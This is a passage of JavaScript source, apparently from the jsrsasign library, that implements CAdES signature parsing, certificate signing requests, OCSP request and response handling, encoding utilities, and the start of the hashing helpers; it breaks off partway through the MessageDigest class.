KJUR.asn1.cades.CAdESUtil.addSigTS = function(c, b, a) {};
KJUR.asn1.cades.CAdESUtil.parseSignedDataForAddingUnsigned = function(e) {
    var p = ASN1HEX,
        u = p.getChildIdx,
        b = p.getTLV,
        a = p.getTLVbyList,
        k = p.getIdxbyList,
        A = KJUR,
        g = A.asn1,
        l = g.ASN1Object,
        j = g.cms,
        h = j.SignedData,
        v = g.cades,
        z = v.CAdESUtil;
    var m = {};
    if (a(e, 0, [0]) != "06092a864886f70d010702") {
        throw "hex is not CMS SignedData"
    }
    var y = k(e, 0, [1, 0]);
    var B = u(e, y);
    if (B.length < 4) {
        throw "num of SignedData elem shall be 4 at least"
    }
    var d = B.shift();
    m.version = b(e, d);
    var w = B.shift();
    m.algs = b(e, w);
    var c = B.shift();
    m.encapcontent = b(e, c);
    m.certs = null;
    m.revs = null;
    m.si = [];
    var o = B.shift();
    if (e.substr(o, 2) == "a0") {
        m.certs = b(e, o);
        o = B.shift()
    }
    if (e.substr(o, 2) == "a1") {
        m.revs = b(e, o);
        o = B.shift()
    }
    var t = o;
    if (e.substr(t, 2) != "31") {
        throw "Can't find signerInfos"
    }
    var f = u(e, t);
    for (var q = 0; q < f.length; q++) {
        var s = f[q];
        var n = z.parseSignerInfoForAddingUnsigned(e, s, q);
        m.si[q] = n
    }
    var x = null;
    m.obj = new h();
    x = new l();
    x.hTLV = m.version;
    m.obj.dCMSVersion = x;
    x = new l();
    x.hTLV = m.algs;
    m.obj.dDigestAlgs = x;
    x = new l();
    x.hTLV = m.encapcontent;
    m.obj.dEncapContentInfo = x;
    x = new l();
    x.hTLV = m.certs;
    m.obj.dCerts = x;
    m.obj.signerInfoList = [];
    for (var q = 0; q < m.si.length; q++) {
        m.obj.signerInfoList.push(m.si[q].obj)
    }
    return m
};
KJUR.asn1.cades.CAdESUtil.parseSignerInfoForAddingUnsigned = function(g, q, c) {
    var p = ASN1HEX,
        s = p.getChildIdx,
        a = p.getTLV,
        l = p.getV,
        v = KJUR,
        h = v.asn1,
        n = h.ASN1Object,
        j = h.cms,
        k = j.AttributeList,
        w = j.SignerInfo;
    var o = {};
    var t = s(g, q);
    if (t.length != 6) {
        throw "not supported items for SignerInfo (!=6)"
    }
    var d = t.shift();
    o.version = a(g, d);
    var e = t.shift();
    o.si = a(g, e);
    var m = t.shift();
    o.digalg = a(g, m);
    var f = t.shift();
    o.sattrs = a(g, f);
    var i = t.shift();
    o.sigalg = a(g, i);
    var b = t.shift();
    o.sig = a(g, b);
    o.sigval = l(g, b);
    var u = null;
    o.obj = new w();
    u = new n();
    u.hTLV = o.version;
    o.obj.dCMSVersion = u;
    u = new n();
    u.hTLV = o.si;
    o.obj.dSignerIdentifier = u;
    u = new n();
    u.hTLV = o.digalg;
    o.obj.dDigestAlgorithm = u;
    u = new n();
    u.hTLV = o.sattrs;
    o.obj.dSignedAttrs = u;
    u = new n();
    u.hTLV = o.sigalg;
    o.obj.dSigAlg = u;
    u = new n();
    u.hTLV = o.sig;
    o.obj.dSig = u;
    o.obj.dUnsignedAttrs = new k();
    return o
};
if (typeof KJUR.asn1.csr == "undefined" || !KJUR.asn1.csr) {
    KJUR.asn1.csr = {}
}
KJUR.asn1.csr.CertificationRequest = function(d) {
    var a = KJUR,
        f = a.asn1,
        b = f.DERBitString,
        e = f.DERSequence,
        k = f.csr,
        c = f.x509;
    k.CertificationRequest.superclass.constructor.call(this);
    var l = null;
    var j = null;
    var h = null;
    var i = null;
    var g = null;
    this.sign = function(o, n) {
        if (this.prvKey == null) {
            this.prvKey = n
        }
        this.asn1SignatureAlg = new c.AlgorithmIdentifier({
            name: o
        });
        sig = new a.crypto.Signature({
            alg: o
        });
        sig.init(this.prvKey);
        sig.updateHex(this.asn1CSRInfo.getEncodedHex());
        this.hexSig = sig.sign();
        this.asn1Sig = new b({
            hex: "00" + this.hexSig
        });
        var m = new e({
            array: [this.asn1CSRInfo, this.asn1SignatureAlg, this.asn1Sig]
        });
        this.hTLV = m.getEncodedHex();
        this.isModified = false
    };
    this.getPEMString = function() {
        return hextopem(this.getEncodedHex(), "CERTIFICATE REQUEST")
    };
    this.getEncodedHex = function() {
        if (this.isModified == false && this.hTLV != null) {
            return this.hTLV
        }
        throw "not signed yet"
    };
    if (d !== undefined && d.csrinfo !== undefined) {
        this.asn1CSRInfo = d.csrinfo
    }
};
YAHOO.lang.extend(KJUR.asn1.csr.CertificationRequest, KJUR.asn1.ASN1Object);
KJUR.asn1.csr.CertificationRequestInfo = function(e) {
    var b = KJUR,
        h = b.asn1,
        g = h.DERInteger,
        f = h.DERSequence,
        m = h.DERSet,
        j = h.DERNull,
        c = h.DERTaggedObject,
        k = h.DERObjectIdentifier,
        l = h.csr,
        d = h.x509,
        a = d.X500Name,
        n = d.Extension,
        i = KEYUTIL;
    l.CertificationRequestInfo.superclass.constructor.call(this);
    this._initialize = function() {
        this.asn1Array = new Array();
        this.asn1Version = new g({
            "int": 0
        });
        this.asn1Subject = null;
        this.asn1SubjPKey = null;
        this.extensionsArray = new Array()
    };
    this.setSubjectByParam = function(o) {
        this.asn1Subject = new a(o)
    };
    this.setSubjectPublicKeyByGetKey = function(p) {
        var o = i.getKey(p);
        this.asn1SubjPKey = new d.SubjectPublicKeyInfo(o)
    };
    this.appendExtensionByName = function(p, o) {
        n.appendByNameToArray(p, o, this.extensionsArray)
    };
    this.getEncodedHex = function() {
        this.asn1Array = new Array();
        this.asn1Array.push(this.asn1Version);
        this.asn1Array.push(this.asn1Subject);
        this.asn1Array.push(this.asn1SubjPKey);
        if (this.extensionsArray.length > 0) {
            var s = new f({
                array: this.extensionsArray
            });
            var r = new m({
                array: [s]
            });
            var q = new f({
                array: [new k({
                    oid: "1.2.840.113549.1.9.14"
                }), r]
            });
            var p = new c({
                explicit: true,
                tag: "a0",
                obj: q
            });
            this.asn1Array.push(p)
        } else {
            var p = new c({
                explicit: false,
                tag: "a0",
                obj: new j()
            });
            this.asn1Array.push(p)
        }
        var t = new f({
            array: this.asn1Array
        });
        this.hTLV = t.getEncodedHex();
        this.isModified = false;
        return this.hTLV
    };
    this._initialize()
};
YAHOO.lang.extend(KJUR.asn1.csr.CertificationRequestInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.csr.CSRUtil = new function() {};
KJUR.asn1.csr.CSRUtil.newCSRPEM = function(h) {
    var c = KEYUTIL,
        b = KJUR.asn1.csr;
    if (h.subject === undefined) {
        throw "parameter subject undefined"
    }
    if (h.sbjpubkey === undefined) {
        throw "parameter sbjpubkey undefined"
    }
    if (h.sigalg === undefined) {
        throw "parameter sigalg undefined"
    }
    if (h.sbjprvkey === undefined) {
        throw "parameter sbjpubkey undefined"
    }
    var d = new b.CertificationRequestInfo();
    d.setSubjectByParam(h.subject);
    d.setSubjectPublicKeyByGetKey(h.sbjpubkey);
    if (h.ext !== undefined && h.ext.length !== undefined) {
        for (var e = 0; e < h.ext.length; e++) {
            for (key in h.ext[e]) {
                d.appendExtensionByName(key, h.ext[e][key])
            }
        }
    }
    var f = new b.CertificationRequest({
        csrinfo: d
    });
    var a = c.getKey(h.sbjprvkey);
    f.sign(h.sigalg, a);
    var g = f.getPEMString();
    return g
};
KJUR.asn1.csr.CSRUtil.getInfo = function(b) {
    var d = ASN1HEX;
    var e = d.getTLVbyList;
    var a = {};
    a.subject = {};
    a.pubkey = {};
    if (b.indexOf("-----BEGIN CERTIFICATE REQUEST") == -1) {
        throw "argument is not PEM file"
    }
    var c = pemtohex(b, "CERTIFICATE REQUEST");
    a.subject.hex = e(c, 0, [0, 1]);
    a.subject.name = X509.hex2dn(a.subject.hex);
    a.pubkey.hex = e(c, 0, [0, 2]);
    a.pubkey.obj = KEYUTIL.getKey(a.pubkey.hex, null, "pkcs8pub");
    return a
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.asn1 == "undefined" || !KJUR.asn1) {
    KJUR.asn1 = {}
}
if (typeof KJUR.asn1.ocsp == "undefined" || !KJUR.asn1.ocsp) {
    KJUR.asn1.ocsp = {}
}
KJUR.asn1.ocsp.DEFAULT_HASH = "sha1";
KJUR.asn1.ocsp.CertID = function(g) {
    var d = KJUR,
        k = d.asn1,
        m = k.DEROctetString,
        j = k.DERInteger,
        h = k.DERSequence,
        f = k.x509,
        n = f.AlgorithmIdentifier,
        o = k.ocsp,
        l = o.DEFAULT_HASH,
        i = d.crypto,
        e = i.Util.hashHex,
        c = X509,
        q = ASN1HEX;
    o.CertID.superclass.constructor.call(this);
    this.dHashAlg = null;
    this.dIssuerNameHash = null;
    this.dIssuerKeyHash = null;
    this.dSerialNumber = null;
    this.setByValue = function(t, s, p, r) {
        if (r === undefined) {
            r = l
        }
        this.dHashAlg = new n({
            name: r
        });
        this.dIssuerNameHash = new m({
            hex: t
        });
        this.dIssuerKeyHash = new m({
            hex: s
        });
        this.dSerialNumber = new j({
            hex: p
        })
    };
    this.setByCert = function(x, t, v) {
        if (v === undefined) {
            v = l
        }
        var p = new c();
        p.readCertPEM(t);
        var y = new c();
        y.readCertPEM(x);
        var z = y.getPublicKeyHex();
        var w = q.getTLVbyList(z, 0, [1, 0], "30");
        var r = p.getSerialNumberHex();
        var s = e(y.getSubjectHex(), v);
        var u = e(w, v);
        this.setByValue(s, u, r, v);
        this.hoge = p.getSerialNumberHex()
    };
    this.getEncodedHex = function() {
        if (this.dHashAlg === null && this.dIssuerNameHash === null && this.dIssuerKeyHash === null && this.dSerialNumber === null) {
            throw "not yet set values"
        }
        var p = [this.dHashAlg, this.dIssuerNameHash, this.dIssuerKeyHash, this.dSerialNumber];
        var r = new h({
            array: p
        });
        this.hTLV = r.getEncodedHex();
        return this.hTLV
    };
    if (g !== undefined) {
        var b = g;
        if (b.issuerCert !== undefined && b.subjectCert !== undefined) {
            var a = l;
            if (b.alg === undefined) {
                a = undefined
            }
            this.setByCert(b.issuerCert, b.subjectCert, a)
        } else {
            if (b.namehash !== undefined && b.keyhash !== undefined && b.serial !== undefined) {
                var a = l;
                if (b.alg === undefined) {
                    a = undefined
                }
                this.setByValue(b.namehash, b.keyhash, b.serial, a)
            } else {
                throw "invalid constructor arguments"
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.ocsp.CertID, KJUR.asn1.ASN1Object);
KJUR.asn1.ocsp.Request = function(f) {
    var c = KJUR,
        b = c.asn1,
        a = b.DERSequence,
        d = b.ocsp;
    d.Request.superclass.constructor.call(this);
    this.dReqCert = null;
    this.dExt = null;
    this.getEncodedHex = function() {
        var g = [];
        if (this.dReqCert === null) {
            throw "reqCert not set"
        }
        g.push(this.dReqCert);
        var h = new a({
            array: g
        });
        this.hTLV = h.getEncodedHex();
        return this.hTLV
    };
    if (typeof f !== "undefined") {
        var e = new d.CertID(f);
        this.dReqCert = e
    }
};
YAHOO.lang.extend(KJUR.asn1.ocsp.Request, KJUR.asn1.ASN1Object);
KJUR.asn1.ocsp.TBSRequest = function(e) {
    var c = KJUR,
        b = c.asn1,
        a = b.DERSequence,
        d = b.ocsp;
    d.TBSRequest.superclass.constructor.call(this);
    this.version = 0;
    this.dRequestorName = null;
    this.dRequestList = [];
    this.dRequestExt = null;
    this.setRequestListByParam = function(h) {
        var f = [];
        for (var g = 0; g < h.length; g++) {
            var j = new d.Request(h[0]);
            f.push(j)
        }
        this.dRequestList = f
    };
    this.getEncodedHex = function() {
        var f = [];
        if (this.version !== 0) {
            throw "not supported version:" + this.version
        }
        if (this.dRequestorName !== null) {
            throw "requestorName not supported"
        }
        var h = new a({
            array: this.dRequestList
        });
        f.push(h);
        if (this.dRequestExt !== null) {
            throw "requestExtensions not supported"
        }
        var g = new a({
            array: f
        });
        this.hTLV = g.getEncodedHex();
        return this.hTLV
    };
    if (e !== undefined) {
        if (e.reqList !== undefined) {
            this.setRequestListByParam(e.reqList)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.ocsp.TBSRequest, KJUR.asn1.ASN1Object);
KJUR.asn1.ocsp.OCSPRequest = function(f) {
    var c = KJUR,
        b = c.asn1,
        a = b.DERSequence,
        d = b.ocsp;
    d.OCSPRequest.superclass.constructor.call(this);
    this.dTbsRequest = null;
    this.dOptionalSignature = null;
    this.getEncodedHex = function() {
        var g = [];
        if (this.dTbsRequest !== null) {
            g.push(this.dTbsRequest)
        } else {
            throw "tbsRequest not set"
        }
        if (this.dOptionalSignature !== null) {
            throw "optionalSignature not supported"
        }
        var h = new a({
            array: g
        });
        this.hTLV = h.getEncodedHex();
        return this.hTLV
    };
    if (f !== undefined) {
        if (f.reqList !== undefined) {
            var e = new d.TBSRequest(f);
            this.dTbsRequest = e
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.ocsp.OCSPRequest, KJUR.asn1.ASN1Object);
KJUR.asn1.ocsp.OCSPUtil = {};
KJUR.asn1.ocsp.OCSPUtil.getRequestHex = function(a, b, h) {
    var d = KJUR,
        c = d.asn1,
        e = c.ocsp;
    if (h === undefined) {
        h = e.DEFAULT_HASH
    }
    var g = {
        alg: h,
        issuerCert: a,
        subjectCert: b
    };
    var f = new e.OCSPRequest({
        reqList: [g]
    });
    return f.getEncodedHex()
};
KJUR.asn1.ocsp.OCSPUtil.getOCSPResponseInfo = function(b) {
    var k = ASN1HEX;
    var c = k.getVbyList;
    var d = k.getIdxbyList;
    var c = k.getVbyList;
    var f = k.getV;
    var l = {};
    try {
        var i = c(b, 0, [0], "0a");
        l.responseStatus = parseInt(i, 16)
    } catch (e) {}
    if (l.responseStatus !== 0) {
        return l
    }
    try {
        var g = d(b, 0, [1, 0, 1, 0, 0, 2, 0, 1]);
        if (b.substr(g, 2) === "80") {
            l.certStatus = "good"
        } else {
            if (b.substr(g, 2) === "a1") {
                l.certStatus = "revoked";
                l.revocationTime = hextoutf8(c(b, g, [0]))
            } else {
                if (b.substr(g, 2) === "82") {
                    l.certStatus = "unknown"
                }
            }
        }
    } catch (e) {}
    try {
        var a = d(b, 0, [1, 0, 1, 0, 0, 2, 0, 2]);
        l.thisUpdate = hextoutf8(f(b, a))
    } catch (e) {}
    try {
        var j = d(b, 0, [1, 0, 1, 0, 0, 2, 0, 3]);
        if (b.substr(j, 2) === "a0") {
            l.nextUpdate = hextoutf8(c(b, j, [0]))
        }
    } catch (e) {}
    return l
};
var KJUR;
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.lang == "undefined" || !KJUR.lang) {
    KJUR.lang = {}
}
KJUR.lang.String = function() {};

function Base64x() {}

function stoBA(d) {
    var b = new Array();
    for (var c = 0; c < d.length; c++) {
        b[c] = d.charCodeAt(c)
    }
    return b
}

function BAtos(b) {
    var d = "";
    for (var c = 0; c < b.length; c++) {
        d = d + String.fromCharCode(b[c])
    }
    return d
}

function BAtohex(b) {
    var e = "";
    for (var d = 0; d < b.length; d++) {
        var c = b[d].toString(16);
        if (c.length == 1) {
            c = "0" + c
        }
        e = e + c
    }
    return e
}

function stohex(a) {
    return BAtohex(stoBA(a))
}

function stob64(a) {
    return hex2b64(stohex(a))
}

function stob64u(a) {
    return b64tob64u(hex2b64(stohex(a)))
}

function b64utos(a) {
    return BAtos(b64toBA(b64utob64(a)))
}

function b64tob64u(a) {
    a = a.replace(/\=/g, "");
    a = a.replace(/\+/g, "-");
    a = a.replace(/\//g, "_");
    return a
}

function b64utob64(a) {
    if (a.length % 4 == 2) {
        a = a + "=="
    } else {
        if (a.length % 4 == 3) {
            a = a + "="
        }
    }
    a = a.replace(/-/g, "+");
    a = a.replace(/_/g, "/");
    return a
}

function hextob64u(a) {
    if (a.length % 2 == 1) {
        a = "0" + a
    }
    return b64tob64u(hex2b64(a))
}

function b64utohex(a) {
    return b64tohex(b64utob64(a))
}
var utf8tob64u, b64utoutf8;
if (typeof Buffer === "function") {
    utf8tob64u = function(a) {
        return b64tob64u(new Buffer(a, "utf8").toString("base64"))
    };
    b64utoutf8 = function(a) {
        return new Buffer(b64utob64(a), "base64").toString("utf8")
    }
} else {
    utf8tob64u = function(a) {
        return hextob64u(uricmptohex(encodeURIComponentAll(a)))
    };
    b64utoutf8 = function(a) {
        return decodeURIComponent(hextouricmp(b64utohex(a)))
    }
}

function utf8tob64(a) {
    return hex2b64(uricmptohex(encodeURIComponentAll(a)))
}

function b64toutf8(a) {
    return decodeURIComponent(hextouricmp(b64tohex(a)))
}

function utf8tohex(a) {
    return uricmptohex(encodeURIComponentAll(a))
}

function hextoutf8(a) {
    return decodeURIComponent(hextouricmp(a))
}

function hextorstr(c) {
    var b = "";
    for (var a = 0; a < c.length - 1; a += 2) {
        b += String.fromCharCode(parseInt(c.substr(a, 2), 16))
    }
    return b
}

function rstrtohex(c) {
    var a = "";
    for (var b = 0; b < c.length; b++) {
        a += ("0" + c.charCodeAt(b).toString(16)).slice(-2)
    }
    return a
}

function hextob64(a) {
    return hex2b64(a)
}

function hextob64nl(b) {
    var a = hextob64(b);
    var c = a.replace(/(.{64})/g, "$1\r\n");
    c = c.replace(/\r\n$/, "");
    return c
}

function b64nltohex(b) {
    var a = b.replace(/[^0-9A-Za-z\/+=]*/g, "");
    var c = b64tohex(a);
    return c
}

function hextopem(a, b) {
    var c = hextob64nl(a);
    return "-----BEGIN " + b + "-----\r\n" + c + "\r\n-----END " + b + "-----\r\n"
}

function pemtohex(a, b) {
    if (a.indexOf("-----BEGIN ") == -1) {
        throw "can't find PEM header:" + b
    }
    if (b !== undefined) {
        a = a.replace("-----BEGIN " + b + "-----", "");
        a = a.replace("-----END " + b + "-----", "")
    } else {
        a = a.replace(/-----BEGIN [^-]+-----/, "");
        a = a.replace(/-----END [^-]+-----/, "")
    }
    return b64nltohex(a)
}

function hextoArrayBuffer(d) {
    if (d.length % 2 != 0) {
        throw "input is not even length"
    }
    if (d.match(/^[0-9A-Fa-f]+$/) == null) {
        throw "input is not hexadecimal"
    }
    var b = new ArrayBuffer(d.length / 2);
    var a = new DataView(b);
    for (var c = 0; c < d.length / 2; c++) {
        a.setUint8(c, parseInt(d.substr(c * 2, 2), 16))
    }
    return b
}

function ArrayBuffertohex(b) {
    var d = "";
    var a = new DataView(b);
    for (var c = 0; c < b.byteLength; c++) {
        d += ("00" + a.getUint8(c).toString(16)).slice(-2)
    }
    return d
}

function zulutomsec(n) {
    var l, j, m, e, f, i, b, k;
    var a, h, g, c;
    c = n.match(/^(\d{2}|\d{4})(\d\d)(\d\d)(\d\d)(\d\d)(\d\d)(|\.\d+)Z$/);
    if (c) {
        a = c[1];
        l = parseInt(a);
        if (a.length === 2) {
            if (50 <= l && l < 100) {
                l = 1900 + l
            } else {
                if (0 <= l && l < 50) {
                    l = 2000 + l
                }
            }
        }
        j = parseInt(c[2]) - 1;
        m = parseInt(c[3]);
        e = parseInt(c[4]);
        f = parseInt(c[5]);
        i = parseInt(c[6]);
        b = 0;
        h = c[7];
        if (h !== "") {
            g = (h.substr(1) + "00").substr(0, 3);
            b = parseInt(g)
        }
        return Date.UTC(l, j, m, e, f, i, b)
    }
    throw "unsupported zulu format:" + n
}

function zulutosec(a) {
    var b = zulutomsec(a);
    return ~~(b / 1000)
}

function zulutodate(a) {
    return new Date(zulutomsec(a))
}

function datetozulu(g, e, f) {
    var b;
    var a = g.getUTCFullYear();
    if (e) {
        if (a < 1950 || 2049 < a) {
            throw "not proper year for UTCTime:" + a
        }
        b = ("" + a).slice(-2)
    } else {
        b = ("000" + a).slice(-4)
    }
    b += ("0" + (g.getUTCMonth() + 1)).slice(-2);
    b += ("0" + g.getUTCDate()).slice(-2);
    b += ("0" + g.getUTCHours()).slice(-2);
    b += ("0" + g.getUTCMinutes()).slice(-2);
    b += ("0" + g.getUTCSeconds()).slice(-2);
    if (f) {
        var c = g.getUTCMilliseconds();
        if (c !== 0) {
            c = ("00" + c).slice(-3);
            c = c.replace(/0+$/g, "");
            b += "." + c
        }
    }
    b += "Z";
    return b
}

function uricmptohex(a) {
    return a.replace(/%/g, "")
}

function hextouricmp(a) {
    return a.replace(/(..)/g, "%$1")
}

function encodeURIComponentAll(a) {
    var d = encodeURIComponent(a);
    var b = "";
    for (var c = 0; c < d.length; c++) {
        if (d[c] == "%") {
            b = b + d.substr(c, 3);
            c = c + 2
        } else {
            b = b + "%" + stohex(d[c])
        }
    }
    return b
}

function newline_toUnix(a) {
    a = a.replace(/\r\n/mg, "\n");
    return a
}

function newline_toDos(a) {
    a = a.replace(/\r\n/mg, "\n");
    a = a.replace(/\n/mg, "\r\n");
    return a
}
KJUR.lang.String.isInteger = function(a) {
    if (a.match(/^[0-9]+$/)) {
        return true
    } else {
        if (a.match(/^-[0-9]+$/)) {
            return true
        } else {
            return false
        }
    }
};
KJUR.lang.String.isHex = function(a) {
    if (a.length % 2 == 0 && (a.match(/^[0-9a-f]+$/) || a.match(/^[0-9A-F]+$/))) {
        return true
    } else {
        return false
    }
};
KJUR.lang.String.isBase64 = function(a) {
    a = a.replace(/\s+/g, "");
    if (a.match(/^[0-9A-Za-z+\/]+={0,3}$/) && a.length % 4 == 0) {
        return true
    } else {
        return false
    }
};
KJUR.lang.String.isBase64URL = function(a) {
    if (a.match(/[+/=]/)) {
        return false
    }
    a = b64utob64(a);
    return KJUR.lang.String.isBase64(a)
};
KJUR.lang.String.isIntegerArray = function(a) {
    a = a.replace(/\s+/g, "");
    if (a.match(/^\[[0-9,]+\]$/)) {
        return true
    } else {
        return false
    }
};

function hextoposhex(a) {
    if (a.length % 2 == 1) {
        return "0" + a
    }
    if (a.substr(0, 1) > "7") {
        return "00" + a
    }
    return a
}

function intarystrtohex(b) {
    b = b.replace(/^\s*\[\s*/, "");
    b = b.replace(/\s*\]\s*$/, "");
    b = b.replace(/\s*/g, "");
    try {
        var c = b.split(/,/).map(function(g, e, h) {
            var f = parseInt(g);
            if (f < 0 || 255 < f) {
                throw "integer not in range 0-255"
            }
            var d = ("00" + f.toString(16)).slice(-2);
            return d
        }).join("");
        return c
    } catch (a) {
        throw "malformed integer array string:" + a
    }
}
var strdiffidx = function(c, a) {
    var d = c.length;
    if (c.length > a.length) {
        d = a.length
    }
    for (var b = 0; b < d; b++) {
        if (c.charCodeAt(b) != a.charCodeAt(b)) {
            return b
        }
    }
    if (c.length != a.length) {
        return d
    }
    return -1
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.crypto == "undefined" || !KJUR.crypto) {
    KJUR.crypto = {}
}
KJUR.crypto.Util = new function() {
    this.DIGESTINFOHEAD = {
        sha1: "3021300906052b0e03021a05000414",
        sha224: "302d300d06096086480165030402040500041c",
        sha256: "3031300d060960864801650304020105000420",
        sha384: "3041300d060960864801650304020205000430",
        sha512: "3051300d060960864801650304020305000440",
        md2: "3020300c06082a864886f70d020205000410",
        md5: "3020300c06082a864886f70d020505000410",
        ripemd160: "3021300906052b2403020105000414",
    };
    this.DEFAULTPROVIDER = {
        md5: "cryptojs",
        sha1: "cryptojs",
        sha224: "cryptojs",
        sha256: "cryptojs",
        sha384: "cryptojs",
        sha512: "cryptojs",
        ripemd160: "cryptojs",
        hmacmd5: "cryptojs",
        hmacsha1: "cryptojs",
        hmacsha224: "cryptojs",
        hmacsha256: "cryptojs",
        hmacsha384: "cryptojs",
        hmacsha512: "cryptojs",
        hmacripemd160: "cryptojs",
        MD5withRSA: "cryptojs/jsrsa",
        SHA1withRSA: "cryptojs/jsrsa",
        SHA224withRSA: "cryptojs/jsrsa",
        SHA256withRSA: "cryptojs/jsrsa",
        SHA384withRSA: "cryptojs/jsrsa",
        SHA512withRSA: "cryptojs/jsrsa",
        RIPEMD160withRSA: "cryptojs/jsrsa",
        MD5withECDSA: "cryptojs/jsrsa",
        SHA1withECDSA: "cryptojs/jsrsa",
        SHA224withECDSA: "cryptojs/jsrsa",
        SHA256withECDSA: "cryptojs/jsrsa",
        SHA384withECDSA: "cryptojs/jsrsa",
        SHA512withECDSA: "cryptojs/jsrsa",
        RIPEMD160withECDSA: "cryptojs/jsrsa",
        SHA1withDSA: "cryptojs/jsrsa",
        SHA224withDSA: "cryptojs/jsrsa",
        SHA256withDSA: "cryptojs/jsrsa",
        MD5withRSAandMGF1: "cryptojs/jsrsa",
        SHA1withRSAandMGF1: "cryptojs/jsrsa",
        SHA224withRSAandMGF1: "cryptojs/jsrsa",
        SHA256withRSAandMGF1: "cryptojs/jsrsa",
        SHA384withRSAandMGF1: "cryptojs/jsrsa",
        SHA512withRSAandMGF1: "cryptojs/jsrsa",
        RIPEMD160withRSAandMGF1: "cryptojs/jsrsa",
    };
    this.CRYPTOJSMESSAGEDIGESTNAME = {
        md5: CryptoJS.algo.MD5,
        sha1: CryptoJS.algo.SHA1,
        sha224: CryptoJS.algo.SHA224,
        sha256: CryptoJS.algo.SHA256,
        sha384: CryptoJS.algo.SHA384,
        sha512: CryptoJS.algo.SHA512,
        ripemd160: CryptoJS.algo.RIPEMD160
    };
    this.getDigestInfoHex = function(a, b) {
        if (typeof this.DIGESTINFOHEAD[b] == "undefined") {
            throw "alg not supported in Util.DIGESTINFOHEAD:" + b
        }
        return this.DIGESTINFOHEAD[b] + a
    };
    this.getPaddedDigestInfoHex = function(h, a, j) {
        var c = this.getDigestInfoHex(h, a);
        var d = j / 4;
        if (c.length + 22 > d) {
            throw "key is too short for SigAlg:keylen=" + j + "," + a
        }
        var b = "0001";
        var k = "00" + c;
        var g = "";
        var l = d - b.length - k.length;
        for (var f = 0; f < l; f += 2) {
            g += "ff"
        }
        var e = b + g + k;
        return e
    };
    this.hashString = function(a, c) {
        var b = new KJUR.crypto.MessageDigest({
            alg: c
        });
        return b.digestString(a)
    };
    this.hashHex = function(b, c) {
        var a = new KJUR.crypto.MessageDigest({
            alg: c
        });
        return a.digestHex(b)
    };
    this.sha1 = function(a) {
        var b = new KJUR.crypto.MessageDigest({
            alg: "sha1",
            prov: "cryptojs"
        });
        return b.digestString(a)
    };
    this.sha256 = function(a) {
        var b = new KJUR.crypto.MessageDigest({
            alg: "sha256",
            prov: "cryptojs"
        });
        return b.digestString(a)
    };
    this.sha256Hex = function(a) {
        var b = new KJUR.crypto.MessageDigest({
            alg: "sha256",
            prov: "cryptojs"
        });
        return b.digestHex(a)
    };
    this.sha512 = function(a) {
        var b = new KJUR.crypto.MessageDigest({
            alg: "sha512",
            prov: "cryptojs"
        });
        return b.digestString(a)
    };
    this.sha512Hex = function(a) {
        var b = new KJUR.crypto.MessageDigest({
            alg: "sha512",
            prov: "cryptojs"
        });
        return b.digestHex(a)
    }
};
KJUR.crypto.Util.md5 = function(a) {
    var b = new KJUR.crypto.MessageDigest({
        alg: "md5",
        prov: "cryptojs"
    });
    return b.digestString(a)
};
KJUR.crypto.Util.ripemd160 = function(a) {
    var b = new KJUR.crypto.MessageDigest({
        alg: "ripemd160",
        prov: "cryptojs"
    });
    return b.digestString(a)
};
KJUR.crypto.Util.SECURERANDOMGEN = new SecureRandom();
KJUR.crypto.Util.getRandomHexOfNbytes = function(b) {
    var a = new Array(b);
    KJUR.crypto.Util.SECURERANDOMGEN.nextBytes(a);
    return BAtohex(a)
};
KJUR.crypto.Util.getRandomBigIntegerOfNbytes = function(a) {
    return new BigInteger(KJUR.crypto.Util.getRandomHexOfNbytes(a), 16)
};
KJUR.crypto.Util.getRandomHexOfNbits = function(d) {
    var c = d % 8;
    var a = (d - c) / 8;
    var b = new Array(a + 1);
    KJUR.crypto.Util.SECURERANDOMGEN.nextBytes(b);
    b[0] = (((255 << c) & 255) ^ 255) & b[0];
    return BAtohex(b)
};
KJUR.crypto.Util.getRandomBigIntegerOfNbits = function(a) {
    return new BigInteger(KJUR.crypto.Util.getRandomHexOfNbits(a), 16)
};
KJUR.crypto.Util.getRandomBigIntegerZeroToMax = function(b) {
    var a = b.bitLength();
    while (1) {
        var c = KJUR.crypto.Util.getRandomBigIntegerOfNbits(a);
        if (b.compareTo(c) != -1) {
            return c
        }
    }
};
KJUR.crypto.Util.getRandomBigIntegerMinToMax = function(e, b) {
    var c = e.compareTo(b);
    if (c == 1) {
        throw "biMin is greater than biMax"
    }
    if (c == 0) {
        return e
    }
    var a = b.subtract(e);
    var d = KJUR.crypto.Util.getRandomBigIntegerZeroToMax(a);
    return d.add(e)
};
KJUR.crypto.MessageDigest = function(c) {
    var b = null;
    var a = null;
    var d = null;
    this.setAlgAndProvider = function(g, f) {
        g = KJUR.crypto.MessageDigest.getCanonicalAlgName(g);
        if (g !== null && f === undefined) {
            f = KJUR.crypto.Util.DEFAULTPROVIDER[g]
        }
        if (":md5:sha1:sha224:sha256:sha384:sha512:ripemd160:".indexOf(g) != -1 && f == "cryptojs") {
            try {
                this.md = KJUR.crypto.Util.CRYPTOJSMESSAGEDIGESTNAME[g].create()
            } catch (e) {
                throw "setAlgAndProvider hash alg set fail alg=" + g + "/" + e
            }
            this.updateString = function(h) {
                this.md.update(h)
            };
            this.updateHex = function(h) {
                var i = CryptoJS.enc.Hex.parse(h);
                this.md.update(i)
            };
            this.digest = function() {
                var h = this.md.finalize();
                return h.toString(CryptoJS.enc.Hex)
            };
            this.digestString = function(h) {
                this.updateString(h);
                return this.digest()
            };
            this.digestHex = function(h) {
                this.updateHex(h);
                return this.digest()
            }
        }
        if (":sha256:".indexOf(g) != -1 && f == "sjcl") {
            try {
                this.md = new sjcl.hash.sha256()
            } catch (e) {
                throw "setAlgAndProvider hash alg set fail alg=" + g + "/" + e
            }
            this.updateString = function(h) {
                this.md.update(h)
            };
            this.updateHex = function(i) {
                var h = sjcl.codec.hex.toBits(i);
                this.md.update(h)
            };
            this.digest = function() {
                var h = this.md.finalize();
                return sjcl.codec.hex.fromBits(h)
            };
            this.digestString = function(h) {
                this.updateString(h);
                return this.digest()
            };
            this.digestHex = function(h) {
                this.updateHex(h);
                return this.digest()
            }
        }
    };
